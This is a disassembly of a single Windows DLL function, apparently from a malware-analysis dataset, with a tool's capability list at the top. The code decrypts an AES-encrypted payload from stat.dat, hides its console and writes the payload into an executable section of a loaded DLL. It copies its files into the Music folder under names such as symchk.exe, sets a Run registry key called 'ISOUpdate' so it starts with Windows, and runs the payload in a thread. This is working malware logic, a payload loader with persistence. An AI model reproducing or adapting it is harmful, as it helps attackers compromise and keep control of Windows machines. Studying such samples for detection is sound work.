Function at 0x180002920
Capabilities:
Copy file
Create new key via cryptacquirecontext
Create thread
Encrypt data using aes via winapi
Encrypt or decrypt via wincrypt
Enumerate pe sections
Get common file path
Hash data via wincrypt
Initialize hashing via wincrypt
Persist via run registry key
Read file on windows
Set registry value

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
push r12
push r13
push r14
push r15
lea rbp, [rsp - 0x310]
sub rsp, 0x410
mov rax, qword [0x180021008]
xor rax, rsp
mov qword [rbp + 0x300], rax
xor r13d, r13d
lea rdx, [0x18001da30]
lea rcx, str.stat.dat
call fcn.1800093ac
mov rdi, rax
test rax, rax
je 0x180002395
xor edx, edx
lea r8d, [r13 + 2]
mov rcx, rax
call fcn.180009608
mov rcx, rdi
call fcn.180009258
movsxd rbx, eax
xor r8d, r8d
xor edx, edx
mov rcx, rdi
call fcn.180009608
mov rcx, rbx
call fcn.180009ee0
mov rsi, rax
mov r9, rdi
lea r8d, [r13 + 1]
mov rdx, rbx
mov rcx, rax
call fcn.180009e18
mov dword [rbp - 0x70], ebx
mov dword [rsp + 0x20], 0xf0000000
lea r9d, [r13 + 0x18]
xor r8d, r8d
xor edx, edx
lea rcx, [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptAcquireContextW]
test eax, eax
je 0x18000135c
lea rax, [rbp - 0x40]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
mov edx, 0x800c
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptCreateHash]
test eax, eax
je 0x18000135c
xor r9d, r9d
lea r8d, [r13 + 9]
lea rdx, [0x180021a40]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptHashData]
test eax, eax
je 0x18000135c
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
xor r9d, r9d
mov r8, qword [rbp - 0x40]
mov edx, 0x6610
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptDeriveKey]
test eax, eax
je 0x18000135c
xor r9d, r9d
lea r8, [0x180021a30]
lea edx, [r13 + 1]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptSetKeyParam]
test eax, eax
je 0x18000135c
lea rax, [rbp - 0x70]
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptDecrypt]
test eax, eax
je 0x18000135c
xor edx, edx
mov rcx, qword [rbp - 0x48]
call qword [sym.imp.ADVAPI32.dll_CryptReleaseContext]
mov rcx, qword [rbp - 0x40]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyHash]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_CryptDestroyKey]
call qword [sym.imp.KERNEL32.dll_AllocConsole]
xor edx, edx
lea rcx, str.ConsoleWindowClass
call qword [sym.imp.USER32.dll_FindWindowA]
xor edx, edx
mov rcx, rax
call qword [sym.imp.USER32.dll_ShowWindow]
lea rcx, [0x18001da60]
call qword [sym.imp.KERNEL32.dll_LoadLibraryW]
mov rdi, rax
test rax, rax
je 0x18000153b
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
mov rcx, rax
mov r9d, 0x18
lea r8, [rbp - 0x60]
mov rdx, rdi
call qword [sym.imp.KERNEL32.dll_K32GetModuleInformation]
test eax, eax
je 0x18000153b
mov rcx, rdi
call qword [sym.imp.dbghelp.dll_ImageNtHeader]
test rax, rax
je 0x180001401
movzx edx, word [rax + 0x14]
add rdx, 0x18
add rdx, rax
movzx ecx, r13w
movzx r8d, word [rax + 6]
cmp r13w, r8w
jae 0x180001401
mov eax, dword [rdx + 0x24]
and eax, 0xe0000000
cmp eax, 0xe0000000
je 0x180001511
add rdx, 0x28
inc cx
cmp cx, r8w
jb 0x1800013e1
mov r14, r13
mov rcx, rdi
call qword [sym.imp.dbghelp.dll_ImageNtHeader]
test rax, rax
je 0x180001450
movzx edx, word [rax + 0x14]
add rdx, 0x18
add rdx, rax
movzx ecx, r13w
movzx r8d, word [rax + 6]
cmp r13w, r8w
jae 0x180001450
nop dword [rax]
mov eax, dword [rdx + 0x24]
and eax, 0xe0000000
cmp eax, 0xe0000000
je 0x18000151a
add rdx, 0x28
inc cx
cmp cx, r8w
jb 0x180001430
mov r8, r13
mov r12, qword [rbp - 0x60]
add r12, r14
cmp rbx, r8
ja 0x18000153b
test rbx, rbx
je 0x180001488
test r12, r12
je 0x18000152a
mov rcx, r12
test rsi, rsi
je 0x180001523
mov r8, rbx
mov rdx, rsi
call fcn.180008660
mov qword [rbp - 0x70], r13
lea r9, [rbp - 0x70]
xor r8d, r8d
xor edx, edx
lea rcx, [0x1800163f0]
call qword [sym.imp.SHELL32.dll_SHGetKnownFolderPath]
lea rdx, [rbp + 0xf0]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetCurrentDirectoryW]
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x30]
call fcn.180002480
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x180001570
lea rsi, [rcx + 9]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 8
jb 0x1800014f4
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x12
lea rdx, str.core.dll
call fcn.180008660
mov word [rdi + rsi*2], r13w
jmp 0x180001590
mov r14d, dword [rdx + 0xc]
jmp 0x180001404
mov r8d, dword [rdx + 0x10]
jmp 0x180001453
xor edx, edx
call fcn.180004b00
call fcn.180009b98
mov ebx, 0x16
mov dword [rax], ebx
call fcn.180009a2c
mov eax, 1
mov rcx, qword [rbp + 0x300]
xor rcx, rsp
call fcn.180002a50
lea r11, [rsp + 0x410]
mov rbx, qword [r11 + 0x30]
mov rsi, qword [r11 + 0x38]
mov rdi, qword [r11 + 0x40]
mov rsp, r11
pop r15
pop r14
pop r13
pop r12
pop rbp
ret
mov qword [rsp + 0x20], 9
lea r9, str.core.dll
mov edx, 9
mov rcx, rbx
call fcn.180002760
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xc8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xd8], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xc8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xd8], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 7
mov word [rbx], r13w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x18000160c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001607
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023a2
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r13w
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x50]
call fcn.180002480
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 9
jb 0x180001679
lea rsi, [rcx + 9]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 8
jb 0x18000165c
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x12
lea rdx, str._stat.dat
call fcn.180008660
mov word [rdi + rsi*2], r13w
jmp 0x180001699
mov qword [rsp + 0x20], 9
lea r9, str._stat.dat
mov edx, 9
mov rcx, rbx
call fcn.180002760
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0xa8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0xb8], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0xa8], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0xb8], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 7
mov word [rbx], r13w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180001715
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001710
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023a8
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r13w
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x30]
call fcn.180002480
mov rbx, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x10
jb 0x180001782
lea rsi, [rcx + 0x10]
mov qword [rbx + 0x10], rsi
mov rdi, rbx
cmp rdx, 8
jb 0x180001765
mov rdi, qword [rbx]
lea rcx, [rdi + rcx*2]
mov r8d, 0x20
lea rdx, str.SymbolCheck.dll
call fcn.180008660
mov word [rdi + rsi*2], r13w
jmp 0x1800017a2
mov qword [rsp + 0x20], 0x10
lea r9, str.SymbolCheck.dll
mov edx, 0x10
mov rcx, rbx
call fcn.180002760
mov rbx, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x88], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x98], xmm1
movups xmm0, xmmword [rbx]
movups xmmword [rbp + 0x88], xmm0
movups xmm1, xmmword [rbx + 0x10]
movups xmmword [rbp + 0x98], xmm1
mov qword [rbx + 0x10], r13
mov qword [rbx + 0x18], 7
mov word [rbx], r13w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x18000181e
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001819
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023ae
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r13w
lea rdx, [rbp + 0xf0]
lea rcx, [rsp + 0x50]
call fcn.180002480
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
mov ebx, 0x16
cmp rax, 0xb
jb 0x18000188d
lea r14, [rcx + 0xb]
mov qword [rdi + 0x10], r14
mov rsi, rdi
cmp rdx, 8
jb 0x180001873
mov rsi, qword [rdi]
lea rcx, [rsi + rcx*2]
mov r8, rbx
lea rdx, str._symchk.exe
call fcn.180008660
mov word [rsi + r14*2], r13w
jmp 0x1800018ad
mov qword [rsp + 0x20], 0xb
lea r9, str._symchk.exe
mov edx, 0xb
mov rcx, rdi
call fcn.180002760
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x68], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x78], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x68], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x78], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 7
mov word [rdi], r13w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x18000191d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001918
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023b4
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r13w
mov rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.180002480
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xf
jb 0x180001987
lea r14, [rcx + 0xf]
mov qword [rdi + 0x10], r14
mov rsi, rdi
cmp rdx, 8
jb 0x18000196a
mov rsi, qword [rdi]
lea rcx, [rsi + rcx*2]
mov r8d, 0x1e
lea rdx, str.Musiccore.dll
call fcn.180008660
mov word [rsi + r14*2], r13w
jmp 0x1800019a7
mov qword [rsp + 0x20], 0xf
lea r9, str.Musiccore.dll
mov edx, 0xf
mov rcx, rdi
call fcn.180002760
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x48], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x58], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x48], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x58], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 7
mov word [rdi], r13w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180001a17
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001a12
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023ba
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r13w
mov rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.180002480
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0xf
jb 0x180001a81
lea r14, [rcx + 0xf]
mov qword [rdi + 0x10], r14
mov rsi, rdi
cmp rdx, 8
jb 0x180001a64
mov rsi, qword [rdi]
lea rcx, [rsi + rcx*2]
mov r8d, 0x1e
lea rdx, str.Music_stat.dat
call fcn.180008660
mov word [rsi + r14*2], r13w
jmp 0x180001aa1
mov qword [rsp + 0x20], 0xf
lea r9, str.Music_stat.dat
mov edx, 0xf
mov rcx, rdi
call fcn.180002760
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 0x28], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x38], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 0x28], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x38], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 7
mov word [rdi], r13w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180001b11
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001b0c
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023c0
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r13w
mov rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x30]
call fcn.180002480
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
mov r14d, 0x2c
cmp rax, 0x16
jb 0x180001b7e
lea r15, [rcx + 0x16]
mov qword [rdi + 0x10], r15
mov rsi, rdi
cmp rdx, 8
jb 0x180001b64
mov rsi, qword [rdi]
lea rcx, [rsi + rcx*2]
mov r8, r14
lea rdx, str.MusicSymbolCheck.dll
call fcn.180008660
mov word [rsi + r15*2], r13w
jmp 0x180001b98
mov qword [rsp + 0x20], rbx
lea r9, str.MusicSymbolCheck.dll
mov rdx, rbx
mov rcx, rdi
call fcn.180002760
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp + 8], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp + 0x18], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp + 8], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp + 0x18], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 7
mov word [rdi], r13w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180001c08
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001c03
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023c6
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r13w
mov rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x50]
call fcn.180002480
mov rdi, rax
mov rcx, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rax, rdx
sub rax, rcx
cmp rax, 0x11
jb 0x180001c72
lea r15, [rcx + 0x11]
mov qword [rdi + 0x10], r15
mov rsi, rdi
cmp rdx, 8
jb 0x180001c55
mov rsi, qword [rdi]
lea rcx, [rsi + rcx*2]
mov r8d, 0x22
lea rdx, str.Music_symchk.exe
call fcn.180008660
mov word [rsi + r15*2], r13w
jmp 0x180001c92
mov qword [rsp + 0x20], 0x11
lea r9, str.Music_symchk.exe
mov edx, 0x11
mov rcx, rdi
call fcn.180002760
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rbp - 0x18], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 8], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rbp - 0x18], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rbp - 8], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 7
mov word [rdi], r13w
mov rdx, qword [rsp + 0x68]
cmp rdx, 8
jb 0x180001d02
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x50]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001cfd
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023cc
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rsp + 0x60], xmm0
mov word [rsp + 0x50], r13w
lea rdx, [rbp + 0x48]
cmp qword [rbp + 0x60], 8
cmovae rdx, qword [rbp + 0x48]
lea rcx, [rbp + 0xc8]
cmp qword [rbp + 0xe0], 8
cmovae rcx, qword [rbp + 0xc8]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [rbp + 0x28]
cmp qword [rbp + 0x40], 8
cmovae rdx, qword [rbp + 0x28]
lea rcx, [rbp + 0xa8]
cmp qword [rbp + 0xc0], 8
cmovae rcx, qword [rbp + 0xa8]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [rbp + 8]
cmp qword [rbp + 0x20], 8
cmovae rdx, qword [rbp + 8]
lea rcx, [rbp + 0x88]
cmp qword [rbp + 0xa0], 8
cmovae rcx, qword [rbp + 0x88]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rdx, [rbp - 0x18]
cmp qword [rbp], 8
cmovae rdx, qword [rbp - 0x18]
lea rcx, [rbp + 0x68]
cmp qword [rbp + 0x80], 8
cmovae rcx, qword [rbp + 0x68]
xor r8d, r8d
call qword [sym.imp.KERNEL32.dll_CopyFileW]
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
mov r9d, 2
xor r8d, r8d
lea rdx, str.SOFTWAREMicrosoftWindowsCurrentVersionRun
mov rcx, 0xffffffff80000001
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExA]
mov r15d, eax
mov rdx, qword [rbp - 0x70]
lea rcx, [rsp + 0x70]
call fcn.180002480
mov rdi, rax
mov r8, qword [rax + 0x10]
mov rdx, qword [rax + 0x18]
mov rcx, rdx
sub rcx, r8
cmp rcx, 0x16
jb 0x180001ea5
lea rax, [r8 + 0x16]
mov qword [rdi + 0x10], rax
mov rsi, rdi
cmp rdx, 8
jb 0x180001e2e
mov rsi, qword [rdi]
lea rax, [0x18001dc24]
lea rcx, str.cmd.exe__b__min__c_cd
cmp rax, rsi
jbe 0x180001e5d
lea rax, [rsi + r8*2]
cmp rcx, rax
ja 0x180001e5d
cmp rsi, rcx
ja 0x180001e54
mov rbx, r13
jmp 0x180001e5d
mov rbx, rsi
sub rbx, rcx
sar rbx, 1
lea rcx, [rsi + 0x2c]
lea r8, [r8*2 + 2]
mov rdx, rsi
call fcn.180008660
add rbx, rbx
mov r8, rbx
lea rdx, str.cmd.exe__b__min__c_cd
mov rcx, rsi
call fcn.180008660
lea rcx, [rbx + rsi]
sub r14, rbx
lea rdx, str.cmd.exe__b__min__c_cd
add rdx, 0x2c
add rdx, rbx
mov r8, r14
call fcn.180008660
jmp 0x180001eb8
mov qword [rsp + 0x28], rbx
mov rdx, rbx
mov rcx, rdi
call fcn.1800025c0
mov rdi, rax
xorps xmm0, xmm0
movups xmmword [rsp + 0x30], xmm0
xorps xmm1, xmm1
movdqu xmmword [rsp + 0x40], xmm1
movups xmm0, xmmword [rdi]
movups xmmword [rsp + 0x30], xmm0
movups xmm1, xmmword [rdi + 0x10]
movups xmmword [rsp + 0x40], xmm1
mov qword [rdi + 0x10], r13
mov qword [rdi + 0x18], 7
mov word [rdi], r13w
mov rdi, qword [rsp + 0x40]
mov rcx, qword [rsp + 0x48]
mov rax, rcx
sub rax, rdi
cmp rax, 0x23
jb 0x180001f3b
lea rax, [rdi + 0x23]
mov qword [rsp + 0x40], rax
lea rbx, [rsp + 0x30]
cmp rcx, 8
cmovae rbx, qword [rsp + 0x30]
lea rcx, [rbx + rdi*2]
mov r8d, 0x46
lea rdx, str.Music__symchk.exe__r_symchk.exe
call fcn.180008660
mov word [rbx + rdi*2 + 0x46], r13w
lea rax, [rsp + 0x30]
jmp 0x180001f5a
mov qword [rsp + 0x20], 0x23
lea r9, str.Music__symchk.exe__r_symchk.exe
mov edx, 0x23
lea rcx, [rsp + 0x30]
call fcn.180002760
xorps xmm0, xmm0
movups xmmword [rbp - 0x38], xmm0
xorps xmm1, xmm1
movdqu xmmword [rbp - 0x28], xmm1
movups xmm0, xmmword [rax]
movups xmmword [rbp - 0x38], xmm0
movups xmm1, xmmword [rax + 0x10]
movups xmmword [rbp - 0x28], xmm1
mov qword [rax + 0x10], r13
mov qword [rax + 0x18], 7
mov word [rax], r13w
mov rdx, qword [rsp + 0x48]
cmp rdx, 8
jb 0x180001fca
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x30]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180001fc5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023d2
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rsp + 0x40], xmm0
mov word [rsp + 0x30], r13w
mov rdx, qword [rbp - 0x78]
cmp rdx, 8
jb 0x18000201f
lea rdx, [rdx*2 + 2]
mov rcx, qword [rsp + 0x70]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000201a
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023d8
call fcn.180002aac
test r15d, r15d
jne 0x18000205d
lea rcx, [rbp - 0x38]
cmp qword [rbp - 0x20], 8
cmovae rcx, qword [rbp - 0x38]
mov eax, dword [rbp - 0x28]
lea eax, [rax*2 + 2]
mov dword [rsp + 0x28], eax
mov qword [rsp + 0x20], rcx
lea r9d, [r15 + 1]
xor r8d, r8d
lea rdx, str.ISOUpdate
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rbp - 0x68]
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov rdx, qword [rbp - 0x20]
cmp rdx, 8
jb 0x1800020a7
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x38]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800020a2
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023de
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rbp - 0x28], xmm0
mov word [rbp - 0x38], r13w
mov rdx, qword [rbp]
cmp rdx, 8
jb 0x1800020f9
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp - 0x18]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800020f4
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023e4
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rbp - 8], xmm0
mov word [rbp - 0x18], r13w
mov rdx, qword [rbp + 0x20]
cmp rdx, 8
jb 0x18000214b
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002146
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023ea
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rbp + 0x18], xmm0
mov word [rbp + 8], r13w
mov rdx, qword [rbp + 0x40]
cmp rdx, 8
jb 0x18000219d
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x28]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002198
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023f0
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rbp + 0x38], xmm0
mov word [rbp + 0x28], r13w
mov rdx, qword [rbp + 0x60]
cmp rdx, 8
jb 0x1800021ef
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x48]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800021ea
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023f6
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rbp + 0x58], xmm0
mov word [rbp + 0x48], r13w
mov rdx, qword [rbp + 0x80]
cmp rdx, 8
jb 0x180002244
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x68]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000223f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x1800023fc
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rbp + 0x78], xmm0
mov word [rbp + 0x68], r13w
mov rdx, qword [rbp + 0xa0]
cmp rdx, 8
jb 0x18000229c
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0x88]
mov rax, rcx
cmp rdx, 0x1000
jb 0x180002297
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002402
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rbp + 0x98], xmm0
mov word [rbp + 0x88], r13w
mov rdx, qword [rbp + 0xc0]
cmp rdx, 8
jb 0x1800022fa
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xa8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x1800022f5
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x180002408
call fcn.180002aac
movdqa xmm0, xmmword [0x18001dc40]
movdqu xmmword [rbp + 0xb8], xmm0
mov word [rbp + 0xa8], r13w
mov rdx, qword [rbp + 0xe0]
cmp rdx, 8
jb 0x180002354
lea rdx, [rdx*2 + 2]
mov rcx, qword [rbp + 0xc8]
mov rax, rcx
cmp rdx, 0x1000
jb 0x18000234f
add rdx, 0x27
mov rcx, qword [rcx - 8]
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x18000239c
call fcn.180002aac
mov qword [rsp + 0x28], r13
mov dword [rsp + 0x20], r13d
mov r9, r12
lea r8, [0x1800011c0]
xor edx, edx
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateThread]
mov rbx, rax
test rax, rax
je 0x18000153b
mov edx, 0xffffffff
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x180001540
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
int3
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
nop
call fcn.180009a4c
int3
jmp 0x1800011d0